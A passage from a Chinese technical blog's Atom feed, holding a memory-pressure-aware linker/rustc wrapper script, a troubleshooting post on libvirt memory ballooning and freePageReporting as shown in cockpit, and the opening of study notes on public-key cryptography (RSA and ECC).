    exec &amp;quot;$REAL_LD&amp;quot; &amp;quot;$@&amp;quot;
}

main &amp;quot;$@&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修改cargo编译使用的链接器&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 临时生效： 使脚本可执行
chmod +x &amp;#x2F;path&amp;#x2F;to&amp;#x2F;ld_wrapper.sh

# 配置RUSTFLAGS环境变量
export RUSTFLAGS=&amp;quot;-C link-arg=-fuse-ld=&amp;#x2F;path&amp;#x2F;to&amp;#x2F;ld_wrapper.sh&amp;quot;
cargo build
# 或者配置
export CARGO_TARGET_X86_64_UNKNOWN_LINUX_GNU_LINKER=$(realpath &amp;#x2F;path&amp;#x2F;to&amp;#x2F;wrap-ld.sh)

# 创建符号链接
ln -s &amp;#x2F;path&amp;#x2F;to&amp;#x2F;ld_generic_wrapper.sh &amp;#x2F;path&amp;#x2F;to&amp;#x2F;wrapper_ld
ln -s &amp;#x2F;path&amp;#x2F;to&amp;#x2F;ld_generic_wrapper.sh &amp;#x2F;path&amp;#x2F;to&amp;#x2F;wrapper_lld
ln -s &amp;#x2F;path&amp;#x2F;to&amp;#x2F;ld_generic_wrapper.sh &amp;#x2F;path&amp;#x2F;to&amp;#x2F;wrapper_gold

# 在cargo配置中使用
[target.x86_64-unknown-linux-gnu]
linker = &amp;quot;&amp;#x2F;path&amp;#x2F;to&amp;#x2F;wrapper_ld&amp;quot;

# 实时查看日志
tail -f &amp;#x2F;tmp&amp;#x2F;ld_wrapper.log

# 监控内存压力变化
watch -n 1 &amp;#x27;cat &amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;cgroup&amp;#x2F;user.slice&amp;#x2F;user-$(id -u).slice&amp;#x2F;memory.pressure&amp;#x27;

# 检查链接进程
ps aux | grep ld_wrapper
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;bao-zhuang-rustcjin-xing-bian-yi&quot;&gt;包装rustc进行编译&lt;&#x2F;h1&gt;
&lt;p&gt;使用rustc-wrapper.sh&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
RUSTC_BIN=&amp;quot;$1&amp;quot;
shift

PRESSURE_THRESHOLD=&amp;quot;0.10&amp;quot;
MAX_WAIT_TIME=60
MIN_WAIT_TIME=5
MAX_RETRIES=60
PRESSURE_FILE=&amp;quot;&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;cgroup&amp;#x2F;user.slice&amp;#x2F;user-$(id -u).slice&amp;#x2F;memory.pressure&amp;quot;

get_some_avg10() {
    if [[ -f &amp;quot;$PRESSURE_FILE&amp;quot; ]]; then
        local line=$(grep &amp;quot;^some&amp;quot; &amp;quot;$PRESSURE_FILE&amp;quot;)
        if [[ $line =~ avg10=([0-9.]+) ]]; then
            echo &amp;quot;${BASH_REMATCH[1]}&amp;quot;
            return 0
        fi
    fi
    # 默认返回 0.00，表示没有压力
    echo &amp;quot;0.00&amp;quot;
}

# 检查是否为链接阶段：包含 --crate-type=bin 或 cdylib，且不包含 --print（避免干扰 Cargo 查询）
if [[ &amp;quot;$*&amp;quot; == *&amp;quot;--crate-type bin&amp;quot;* || &amp;quot;$*&amp;quot; == *&amp;quot;--crate-type cdylib&amp;quot;* ]] &amp;amp;&amp;amp; [[ &amp;quot;$*&amp;quot; != *&amp;quot;--print&amp;quot;* ]]; then
    echo &amp;#x27;****************Linker stage ...****************&amp;#x27;
    retry_count=0
    while [[ $retry_count -lt 100 ]]; do
        current_pressure=$(get_some_avg10 &amp;quot;$PRESSURE_FILE&amp;quot;)
        # 使用bc进行浮点数比较
        if command -v bc &amp;gt;&amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1; then
            if (( $(echo &amp;quot;$current_pressure &amp;lt; $PRESSURE_THRESHOLD&amp;quot; | bc -l) )); then
                echo &amp;quot;****************内存压力正常 ($current_pressure &amp;lt; $PRESSURE_THRESHOLD)，开始执行 rustc****************&amp;quot;
		break
            fi
        else
                echo &amp;quot;****************必须安装bc工具计算浮点运算****************&amp;quot;
		exit 1
        fi

        # 计算随机等待时间
        wait_time=$(( MIN_WAIT_TIME + RANDOM % (MAX_WAIT_TIME - MIN_WAIT_TIME + 1) ))
        echo &amp;quot;****************内存压力过高: $current_pressure (阈值: $PRESSURE_THRESHOLD), 等待 ${wait_time}秒后重试 (尝试: $((retry_count + 1))&amp;#x2F;$MAX_RETRIES)****************&amp;quot;
        sleep $wait_time
        ((retry_count++))
    done
fi

exec &amp;quot;$RUSTC_BIN&amp;quot; &amp;quot;$@&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>libvirt 虚拟机内存管理</title>
        <published>2025-10-29T10:51:16+08:00</published>
        <updated>2026-10-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/libvirt 虚拟机内存管理/"/>
        <id>https://vercel.juzhong.asia/2025/10/libvirt 虚拟机内存管理/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/libvirt 虚拟机内存管理/">&lt;h1 id=&quot;libvirt-windowsxu-ni-ji-nei-cun-zhan-yong-guo-gao&quot;&gt;libvirt windows虚拟机内存占用过高&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xu-ni-ji-nei-cun-ce-lue&quot;&gt;虚拟机内存策略&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;QEMU 在虚拟机启动时，一次性分配固定的内存。
这部分内存被 预留并映射到宿主机进程（qemu-system-x86_64）。
从宿主机的角度看，这些内存都是“被占用的”。
即使 Windows 内部只使用很少，也不会被宿主机回收。&lt;&#x2F;li&gt;
&lt;li&gt;💡 换句话说：
没有 balloon 驱动 = 没有动态回收机制。
QEMU 不知道 Windows 里面的内存使用情况，它只能把所有内存都“留给”虚拟机进程。&lt;&#x2F;li&gt;
&lt;li&gt;Windows 内存管理的特性加剧了现象
Windows 客户机即便空闲，也会：
启动缓存与系统文件预取；
启动 SuperFetch &#x2F; SysMain；
各种服务预分配内存池；
内核会尽量“占用”空闲内存以提高 I&#x2F;O 性能（File Cache）。
因此在任务管理器中看似“使用很多内存”，其实很多是 可释放缓存（Standby Memory）。
但宿主机（Linux + libvirt）看不到“哪些是可回收的”，于是整块都算“已用内存”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ballooning-ru-he-jie-jue-zhe-ge-wen-ti&quot;&gt;Ballooning 如何解决这个问题？&lt;&#x2F;h2&gt;
&lt;p&gt;Ballooning 的作用是 建立 Guest 与 Host 之间的内存使用反馈通道：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Guest 内 balloon 驱动 作为一个“伪设备”，可以向 Windows 内存管理器 申请分配内存（就像一个普通程序申请内存一样）；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Windows 会从其空闲内存池中分配给 balloon 驱动；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;但 balloon 驱动 不会真正使用这些内存，只是“持有”它；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;由于这部分内存被 balloon 占用，QEMU 就知道：Guest 实际可用内存减少了，可以将对应物理页从宿主机释放；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;宿主机内存压力大时，libvirt 可通过 virsh setmem 命令 增大 balloon 大小，从而“回收”虚拟机内存。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Linux 虚拟机也一样：没有 balloon 驱动（如 virtio_balloon 模块未加载），同样会高占内存；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;现代替代方案：virtio-mem（动态内存插拔）比 balloon 更灵活，但 Windows 支持有限，balloon 仍是主流；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;内存共享（KSM）不能替代 balloon：KSM 只能合并完全相同的内存页（如多个 Win10 虚拟机的系统 DLL），对私有数据无效。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;libvirt-qemu-zhi-chi-windows-xu-ni-ji-de-nei-cun-ballooning-dong-tai-nei-cun-guan-li&quot;&gt;libvirt&#x2F;QEMU 支持 Windows 虚拟机的内存 ballooning（动态内存管理）&lt;&#x2F;h2&gt;
&lt;p&gt;需要在 宿主机与客户机两边都正确配置&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;windows 虚拟机上安装 virtio-win-xxx.iso 中的ballooning(其他的可以不安装，容易引起问题)&lt;&#x2F;li&gt;
&lt;li&gt;配置虚拟机配置&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;memballoon model=&amp;#x27;virtio&amp;#x27;&amp;gt;
  &amp;lt;stats period=&amp;#x27;10&amp;#x27;&amp;#x2F;&amp;gt;
&amp;lt;&amp;#x2F;memballoon&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;shi-zhan-linux-guest-nei-cun-32g-heng-100-cockpit-yu-htop-da-jia-2026-10-geng-xin&quot;&gt;实战：Linux guest 内存 32G 恒 100%，cockpit 与 htop 打架（2026-10 更新）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;一台 32G 的 Ubuntu 24.04 开发机（16 vCPU，跑了一年）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;guest 内 htop：&lt;strong&gt;6.13G &#x2F; 31.3G&lt;&#x2F;strong&gt;（约 20%）；&lt;&#x2F;li&gt;
&lt;li&gt;cockpit-machines 占用率卡片：&lt;strong&gt;32.0 &#x2F; 32 GiB，恒 100%&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;宿主机 &lt;code&gt;ps&lt;&#x2F;code&gt;：QEMU 进程 RSS ≈ 32 GiB。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;第一反应是&quot;是不是没装 qemu-guest-agent &#x2F; 没有 memballoon&quot;——都装了且工作正常：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ virsh dommemstat ubuntu.code
actual 33554432
unused 32681168      ← balloon 驱动提供，guest 空闲 31.2G
available 32781204
rss 33512528         ← QEMU 进程 RSS，涨满
swap_in&amp;#x2F;out、major&amp;#x2F;minor_fault、disk_caches ...   ← qemu-guest-agent 提供

$ virsh qemu-agent-command ubuntu.code &amp;#x27;{&amp;quot;execute&amp;quot;:&amp;quot;guest-ping&amp;quot;}&amp;#x27;
{&amp;quot;return&amp;quot;:{}}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cockpit-na-zhang-qia-pian-de-zhen-shi-yu-yi&quot;&gt;cockpit 那张卡片的真实语义&lt;&#x2F;h2&gt;
&lt;p&gt;解包前端（&lt;code&gt;gunzip -c &#x2F;usr&#x2F;share&#x2F;cockpit&#x2F;machines&#x2F;index.js.gz&lt;&#x2F;code&gt;）找到采集逻辑：cockpit-machines
调用 &lt;code&gt;org.libvirt.Domain&lt;&#x2F;code&gt; 的 &lt;code&gt;GetStats(flags=CPU_TOTAL|BALLOON|VCPU, 0)&lt;&#x2F;code&gt;，从返回里取
&lt;strong&gt;&lt;code&gt;balloon.rss&lt;&#x2F;code&gt;（QEMU 进程在宿主机上的 RSS）&lt;&#x2F;strong&gt;，除以 XML 的 &lt;code&gt;currentMemory&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;内存占用 % = balloon.rss &amp;#x2F; currentMemory    ← 宿主机视角，不是 guest 视角
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（busctl 实测掩码：1=STATE、2=CPU_TOTAL、&lt;strong&gt;4=BALLOON&lt;&#x2F;strong&gt;、8=VCPU、16=BLOCK；
&lt;code&gt;virsh dommemstat&lt;&#x2F;code&gt; 的 unused&#x2F;available 才是 guest 视角。）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-rss-zhi-zhang-bu-die&quot;&gt;为什么 RSS 只涨不跌&lt;&#x2F;h2&gt;
&lt;p&gt;三个事实叠加：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;guest 每摸过一页内存，这页就永久留在 QEMU 的 RSS 里——&lt;strong&gt;包括 page cache&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;guest 内核&quot;闲着不如缓存&quot;，把 25G 拿去做 page cache，完全合理；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;balloon 从不自动归还&lt;&#x2F;strong&gt;：没有主动挤气球动作，QEMU RSS 只增不减。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;于是 guest 用 6G、cache 25G、RSS 32G、cockpit 恒 100%——每一层都&quot;没坏&quot;，是机制如此。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-fa-freepagereporting-zi-dong-gui-huan&quot;&gt;解法：freePageReporting（自动归还）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;memballoon model=&amp;#x27;virtio&amp;#x27; freePageReporting=&amp;#x27;on&amp;#x27;&amp;gt;
  &amp;lt;stats period=&amp;#x27;5&amp;#x27;&amp;#x2F;&amp;gt;
&amp;lt;&amp;#x2F;memballoon&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;guest 内核周期性把空闲页报告给 QEMU（madvise DONTNEED），宿主机 RSS 自动回落；
guest 需要时&lt;strong&gt;立刻拿回&lt;&#x2F;strong&gt;（弹性归还，不像 &lt;code&gt;setmem&lt;&#x2F;code&gt; 是硬上限）。要求：guest 内核 ≥5.7、
libvirt ≥6.10、QEMU 设备属性存在（&lt;code&gt;qemu-system-x86_64 -device virtio-balloon-pci,help&lt;&#x2F;code&gt;
可见 &lt;code&gt;free-page-reporting&lt;&#x2F;code&gt;）。生效需要关机再开机（memballoon 不能热改属性）。&lt;&#x2F;p&gt;
&lt;p&gt;对比：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;virsh setmem&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;freePageReporting&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;语义&lt;&#x2F;td&gt;&lt;td&gt;硬上限（guest 可见内存变小）&lt;&#x2F;td&gt;&lt;td&gt;弹性归还（guest 内存不缩水）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;生效&lt;&#x2F;td&gt;&lt;td&gt;立即，可逆&lt;&#x2F;td&gt;&lt;td&gt;需重启一次，之后全自动&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;cockpit 卡片&lt;&#x2F;td&gt;&lt;td&gt;仍 ~100%（分母同步变小）&lt;&#x2F;td&gt;&lt;td&gt;跟随真实占用动态变化&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;san-ge-keng-define-jing-mo-bo-chi-shi-lu&quot;&gt;三个坑（define 静默剥离实录）&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;freePageReporting&lt;&#x2F;code&gt; 是 &lt;code&gt;&amp;lt;memballoon&amp;gt;&lt;&#x2F;code&gt; 的属性，不是子元素&lt;&#x2F;strong&gt;。写成子元素
&lt;code&gt;&amp;lt;freePageReporting on=&#x27;on&#x27;&#x2F;&amp;gt;&lt;&#x2F;code&gt; 时 &lt;code&gt;virsh define&lt;&#x2F;code&gt; &lt;strong&gt;不报错但静默剥离&lt;&#x2F;strong&gt;——不带
&lt;code&gt;--validate&lt;&#x2F;code&gt; 的 define 不跑 RNG schema，宽松解析器直接忽略不认识的元素。加了
&lt;code&gt;--validate&lt;&#x2F;code&gt; 才会报 &lt;code&gt;Extra element devices in interleave&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;漏写 &lt;code&gt;on=&#x27;on&#x27;&lt;&#x2F;code&gt; 也不行&lt;&#x2F;strong&gt;：&lt;code&gt;&amp;lt;freePageReporting&#x2F;&amp;gt;&lt;&#x2F;code&gt; 解析为默认 off，格式化输出时省略，
同样静默消失。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;define 会顺带丢 &lt;code&gt;&amp;lt;stats period&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（balloon 统计采集周期，cockpit&#x2F;dommemstat 依赖），
define 后必须 &lt;code&gt;virsh dumpxml --inactive &amp;lt;vm&amp;gt;&lt;&#x2F;code&gt; 复查。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;define 成功的判据不是命令退出码，而是&lt;strong&gt;复查存储结果&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh define --validate &amp;#x2F;path&amp;#x2F;to&amp;#x2F;vm.xml
virsh dumpxml --inactive &amp;lt;vm&amp;gt; | grep -A3 &amp;#x27;&amp;lt;memballoon&amp;#x27;   # 必须肉眼确认
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启后验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pgrep -f &amp;#x27;qemu-system.*&amp;lt;vm&amp;gt;&amp;#x27; | head -1 | xargs -I{} cat &amp;#x2F;proc&amp;#x2F;{}&amp;#x2F;cmdline | tr &amp;#x27;\0&amp;#x27; &amp;#x27;\n&amp;#x27; | grep free-page-reporting
# → free-page-reporting=on
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xiang-guan-yue-du&quot;&gt;相关阅读&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;同一台 VM 的 cockpit 图形 console 消失问题：
&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;cockpit-machines-console-only-spice-socket&#x2F;&quot;&gt;cockpit-machines 只剩串口 console&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>密码学学习笔记_05_公钥密码系统</title>
        <published>2025-10-29T00:00:00+00:00</published>
        <updated>2025-10-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/密码学学习笔记_05_公钥密码系统/"/>
        <id>https://vercel.juzhong.asia/obsidian/密码学学习笔记_05_公钥密码系统/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/密码学学习笔记_05_公钥密码系统/">&lt;h1 id=&quot;mi-ma-xue-xue-xi-bi-ji-05-gong-yao-mi-ma-xi-tong&quot;&gt;密码学学习笔记_05_公钥密码系统&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;562371235&quot;&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;562371235&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;密码学学习笔记系列:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;555058575&quot;&gt;密码学学习笔记_01_密码学综述&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;556900594&quot;&gt;密码学学习笔记_02_散列与认证&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;557583762&quot;&gt;密码学学习笔记_03_随机数与密钥派生&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;558881344&quot;&gt;密码学学习笔记_04_对称加密&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;密码学学习笔记_05_&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=213103800&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=%E5%85%AC%E9%92%A5%E5%AF%86%E7%A0%81%E7%B3%BB%E7%BB%9F&amp;amp;zhida_source=entity&quot;&gt;公钥密码系统&lt;&#x2F;a&gt; (本篇)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;563337960&quot;&gt;密码学学习笔记_06_数字证书与PKI&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;564452283&quot;&gt;密码学学习笔记_07_TLS通信协议&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;yi-shen-me-shi-gong-yao-mi-ma-xi-tong&quot;&gt;一、什么是公钥密码系统&lt;&#x2F;h2&gt;
&lt;p&gt;对称加密总是需要加解密双方预先共享或协商好相同的密钥，在很多场景，特别是当今互联网环境下，这是很不安全的。&lt;&#x2F;p&gt;
&lt;p&gt;解决这个问题的一个重要方向就是使用&lt;code&gt;公钥密码学&lt;&#x2F;code&gt;，英文是&lt;code&gt;Public-key cryptography&lt;&#x2F;code&gt;，也叫做&lt;code&gt;非对称式密码学(Asymmetric cryptography)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;公钥密码学&lt;&#x2F;code&gt;需要两个密钥组成具有某种数学对应关系的密钥对，一个叫公钥，一个叫私钥，公钥公开，私钥保密。而基于公私钥，&lt;code&gt;公钥密码学&lt;&#x2F;code&gt;主要提供了三类算法:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=213103800&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=%E6%95%B0%E5%AD%97%E7%AD%BE%E5%90%8D&amp;amp;zhida_source=entity&quot;&gt;数字签名&lt;&#x2F;a&gt; : 只有消息的发送者(拥有私钥且保密)才能产生的别人无法伪造的一段数字串，这段数字串同时也是对消息真实性的一个有效证明。数字签名类似于人类的签名、公章、手印等，可以保证消息的真实性、完整性和不可否认性，是目前公钥密码学最广泛的用途。数字签名使用私钥签名，使用公钥验签。&lt;&#x2F;li&gt;
&lt;li&gt;密钥协商 : 在不安全的网络通信环境中，确保通信双方安全地协商出一套共享密钥的方法。密钥协商算法能够在通信内容被攻击者截获的情况下，依然协商出一套攻击者无法获知的共享密钥。密钥协商是当前互联网环境下安全通信的关键算法。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=213103800&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=%E9%9D%9E%E5%AF%B9%E7%A7%B0%E5%8A%A0%E5%AF%86&amp;amp;zhida_source=entity&quot;&gt;非对称加密&lt;&#x2F;a&gt; : 相对于对称加密的一种加密算法，使用公钥加密，私钥解密。非对称加密相比对称加密更加安全，但效率要低的多，目前实际使用越来越少，比如很多基于椭圆曲线的公钥密码系统甚至不再提供非对称加密算法。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;直觉上，解决对称加密共享密钥不安全问题的方式是，直接使用非对称加密，但事实并非如此。
一来，非对称加密效率很低，在通信频率频繁、消息较长等场景下，使用非对称加密很不划算。
另外很重要的一点就是，在互联网这种不安全的网络环境下，每次通信都使用相同的密钥的话，会增加密钥泄露被攻破的风险，最好每次通信会话都生成不同的密钥。
因此，实际上&lt;code&gt;公钥密码学&lt;&#x2F;code&gt;用来解决对称加密共享密钥问题的方法，是在每次通信时，使用密钥协商算法协商一套临时的会话密钥，并结合数字签名做身份验证。这一点会在后续笔记中继续学习。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;公私钥的特点是，在目前的数学理论与实际算力的前提下，无法根据公钥计算出私钥。但要注意，私钥一旦泄露，则公钥容易被破解，因此公私钥不可混用。&lt;&#x2F;p&gt;
&lt;p&gt;而能够提供这种公私钥的系统就是&lt;code&gt;公钥密码系统(public-key cryptosystem)&lt;&#x2F;code&gt;，目前最常用的公钥密码系统有&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=213103800&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=RSA&amp;amp;zhida_source=entity&quot;&gt;RSA&lt;&#x2F;a&gt;和ECC。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;RSA基于数学上的&lt;code&gt;大整数的因数分解问题&lt;&#x2F;code&gt;，是应用较早，最为普及的公钥密码系统。但它的性能消耗较高，且在保证安全的前提下，所需密钥长度很长。目前业界普遍认为要保持足够的安全强度，RSA的密钥长度需要2048位，即256个字节。RSA目前虽然仍被大量使用，但已经开始慢慢被ECC取代。&lt;&#x2F;li&gt;
&lt;li&gt;ECC则基于&lt;code&gt;椭圆曲线离散对数问题&lt;&#x2F;code&gt;，是新一代公钥密码系统的主流趋势，可以认为是RSA的替代者。相比RSA，ECC在提供相同安全强度的前提下，密钥长度只需要256位，即32个字节。此外ECC的运算速度也更快，性能消耗更少，数学理论上的破解难度也更大。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;无论RSA还是ECC，其安全性主要建立在数学问题的难以破解上。&lt;&#x2F;strong&gt;  即除了暴力破解(以目前的计算机算力而言，实际破解时间无法接受)外，理论上无法在一个合理时间内破解私钥。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;万一数学理论发展解决了数学问题，则对应的密码学算法就不再安全；此外，如果有朝一日计算机算力得到极大提升，比如量子计算机进入实用阶段，那么现在看来不合理的暴力破解时间也有可能缩短到一个合理时间内，这样的话，很多目前认为安全的密码学算法也就不安全了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;本篇笔记主要学习ECC的相关密码学算法，包括主流的椭圆曲线及其算法，咱们国家的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=213103800&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=SM2&amp;amp;zhida_source=entity&quot;&gt;SM2&lt;&#x2F;a&gt;，开源社区主推的椭圆曲线及其算法，然后在最后了解一下RSA的相关原理与算法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-eccxiang-guan-suan-fa&quot;&gt;二、ECC相关算法&lt;&#x2F;h2&gt;
&lt;p&gt;首先学习一下ECC是如何产生公私钥的，然后再学习一下基于ECC公私钥的相关密码学算法。&lt;&#x2F;p&gt;
